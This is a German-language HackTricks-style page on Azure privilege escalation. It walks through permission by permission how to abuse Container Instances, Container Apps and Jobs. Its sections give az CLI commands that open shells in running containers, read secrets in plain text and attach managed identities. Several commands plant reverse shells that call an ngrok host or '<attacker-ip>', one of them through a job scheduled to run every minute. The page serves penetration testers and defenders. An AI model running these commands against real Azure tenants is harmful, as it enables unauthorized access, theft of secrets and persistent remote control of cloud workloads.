Az - Azure Container Instances, Apps & Jobs Privesc

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Azure Container Instances, Apps & Jobs

Für weitere Informationen siehe:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Diese Berechtigungen erlauben es dem Benutzer, einen Befehl in einem laufenden Container auszuführen. Dies kann verwendet werden, um Berechtigungen im Container zu eskalieren, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.

Um eine Shell zu erhalten, ist es so einfach wie:

bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Es ist auch möglich, die Ausgabe des Containers mit folgendem Befehl zu lesen:

bash
az container attach --name <container-name> --resource-group <res-group>

Oder erhalten Sie die Protokolle mit:

bash
az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Diese Berechtigungen ermöglichen es, eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.

Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:

bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Diese Berechtigungen ermöglichen es, eine Containergruppe zu erstellen oder zu aktualisieren, die mit einer benutzerverwalteten Identität verbunden ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.

bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Darüber hinaus ist es auch möglich, eine vorhandene Containergruppe zu aktualisieren, indem beispielsweise das --command-line Argument mit einer Reverse-Shell hinzugefügt wird.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Diese Berechtigungen ermöglichen es dem Benutzer, eine Shell in einem laufenden Anwendungscontainer zu erhalten. Dies kann verwendet werden, um Privilegien im Container zu eskalieren, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.

bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Diese Berechtigung ermöglicht es, den Klartext der Geheimnisse abzurufen, die innerhalb einer Container-App konfiguriert sind. Beachten Sie, dass Geheimnisse entweder im Klartext oder mit einem Link zu einem Schlüsselbund konfiguriert werden können (in diesem Fall hat die App eine verwaltete Identität zugewiesen, die Zugriff auf die Geheimnisse hat).

bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Diese Berechtigungen ermöglichen es, eine benutzerverwaltete Identität an eine Containeranwendung anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. Das Ausführen dieser Aktion über die az cli erfordert ebenfalls die Berechtigung Microsoft.App/containerApps/listSecrets/action.

Um eine benutzerverwaltete Identität an eine Containergruppe anzuhängen:

bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Diese Berechtigungen ermöglichen es, einen Anwendungscontainer zu erstellen oder zu aktualisieren, der mit einer benutzerverwalteten Identität verbunden ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.

bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

tip

Beachten Sie, dass mit diesen Berechtigungen andere Konfigurationen der App geändert werden können, was es ermöglichen könnte, andere Privilegieneskalations- und Post-Exploitation-Angriffe durchzuführen, abhängig von der Konfiguration der vorhandenen Apps.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Obwohl Jobs nicht so langlaufend sind wie Container-Apps, können Sie die Möglichkeit ausnutzen, die Befehlskonfiguration des Jobs beim Starten einer Ausführung zu überschreiben. Durch das Erstellen einer benutzerdefinierten Jobvorlage (zum Beispiel, indem Sie den Standardbefehl durch eine Reverse-Shell ersetzen) können Sie Shell-Zugriff innerhalb des Containers erhalten, der den Job ausführt.

bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Wenn Sie über diese Berechtigungen verfügen, können Sie alle Geheimnisse (erste Berechtigung) innerhalb eines Job-Containers auflisten und dann die Werte der konfigurierten Geheimnisse lesen.

bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Wenn Sie die Berechtigung haben, die Konfiguration eines Jobs zu ändern, können Sie eine benutzerdefinierte verwaltete Identität anhängen. Diese Identität könnte zusätzliche Berechtigungen haben (zum Beispiel Zugriff auf andere Ressourcen oder Geheimnisse), die missbraucht werden können, um Privilegien innerhalb des Containers zu eskalieren.

bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Wenn Sie einen neuen Container Apps Job erstellen (oder einen bestehenden aktualisieren) und eine verwaltete Identität anhängen können, können Sie den Job so gestalten, dass er eine Nutzlast ausführt, die Privilegien eskaliert. Zum Beispiel könnten Sie einen neuen Job erstellen, der nicht nur eine Reverse-Shell ausführt, sondern auch die Anmeldeinformationen der verwalteten Identität verwendet, um Tokens anzufordern oder auf andere Ressourcen zuzugreifen.

bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

tip

Dieser Befehl wird einen Fehler auslösen, wenn Sie nicht die Berechtigung Microsoft.App/jobs/read haben, obwohl der Job erstellt wird.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Es sieht so aus, als ob man mit diesen Berechtigungen einen Job starten sollte. Dies könnte verwendet werden, um einen Job mit einer Reverse-Shell oder einem anderen bösartigen Befehl zu starten, ohne die Konfiguration des Jobs ändern zu müssen.

Ich habe es nicht geschafft, es zum Laufen zu bringen, aber laut den erlaubten Parametern sollte es möglich sein.

Microsoft.ContainerInstance/containerGroups/restart/action

Erlaubt das Neustarten einer bestimmten Containergruppe innerhalb von Azure Container Instances.

bash
az container restart --resource-group <resource-group> --name <container-instances>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks